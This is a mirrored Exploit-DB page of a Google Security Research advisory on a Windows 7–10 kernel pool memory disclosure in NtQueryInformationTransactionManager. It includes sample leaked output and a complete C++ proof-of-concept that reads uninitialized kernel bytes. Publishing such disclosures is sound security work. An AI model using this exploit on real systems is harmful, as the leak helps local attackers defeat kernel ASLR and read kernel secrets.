Microsoft Windows – ‘nt!NtQueryInformationTransactionManager (TransactionManagerRecoveryInformation)’ Kernel Pool Memory Disclosure

  • 作者: Google Security Research
    日期: 2018-04-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44462/
  • /*
    We have discovered that the nt!NtQueryInformationTransactionManager system call invoked with the TransactionManagerRecoveryInformation (4) information class may disclose uninitialized kernel pool memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit.
    
    The output structure for the infoclass in question is an 8-byte TRANSACTIONMANAGER_RECOVERY_INFORMATION:
    
    --- cut ---
    typedef struct _TRANSACTIONMANAGER_RECOVERY_INFORMATION {
    ULONGLONG LastRecoveredLsn;
    } TRANSACTIONMANAGER_RECOVERY_INFORMATION, *PTRANSACTIONMANAGER_RECOVERY_INFORMATION;
    --- cut ---
    
    We've observed the entire returned value to consist of uninitialized bytes originating from a kernel pool allocation, and more specifically an object of type TmTransactionManagerObjectType.
    
    The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that all 8 bytes of output are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
    
    --- cut ---
    C:\>NtQueryInformationTransactionManager.exe
    Status: 0, Return Length: 8
    00000000: 2d 2d 2d 2d 2d 2d 2d 2d ?? ?? ?? ?? ?? ?? ?? ?? --------........
    
    C:\>NtQueryInformationTransactionManager.exe
    Status: 0, Return Length: 8
    00000000: 3f 3f 3f 3f 3f 3f 3f 3f ?? ?? ?? ?? ?? ?? ?? ?? ????????........
    
    C:\>NtQueryInformationTransactionManager.exe
    Status: 0, Return Length: 8
    00000000: 57 57 57 57 57 57 57 57 ?? ?? ?? ?? ?? ?? ?? ?? WWWWWWWW........
    
    C:\>NtQueryInformationTransactionManager.exe
    Status: 0, Return Length: 8
    00000000: 71 71 71 71 71 71 71 71 ?? ?? ?? ?? ?? ?? ?? ?? qqqqqqqq........
    --- cut ---
    
    Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
    */
    
    #include <Windows.h>
    #include <winternl.h>
    #include <ntstatus.h>
    #include <KtmW32.h>
    
    #include <cstdio>
    
    #pragma comment(lib, "ntdll.lib")
    #pragma comment(lib, "KtmW32.lib")
    
    extern "C" {
    NTSTATUS NTAPI NtQueryInformationTransactionManager(
    _In_HANDLE TransactionManagerHandle,
    _In_TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass,
    _Out_ PVOIDTransactionManagerInformation,
    _In_ULONGTransactionManagerInformationLength,
    _Out_opt_ PULONG ReturnLength
    );
    };
    
    VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
    PBYTE Data = (PBYTE)Buffer;
    for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);
    
    for (ULONG j = 0; j < 16; j++) {
    if (i + j < dwBytes) {
    printf("%.2x ", Data[i + j]);
    }
    else {
    printf("?? ");
    }
    }
    
    for (ULONG j = 0; j < 16; j++) {
    if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
    printf("%c", Data[i + j]);
    }
    else {
    printf(".");
    }
    }
    
    printf("\n");
    }
    }
    
    int main() {
    HANDLE hTransactionMgr = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0);
    
    TRANSACTIONMANAGER_RECOVERY_INFORMATION Information;
    DWORD ReturnLength = 0;
    NTSTATUS Status = NtQueryInformationTransactionManager(hTransactionMgr, TransactionManagerRecoveryInformation, &Information, sizeof(Information), &ReturnLength);
    
    printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
    PrintHex(&Information, sizeof(Information));
    
    CloseHandle(hTransactionMgr);
    
    return 0;
    }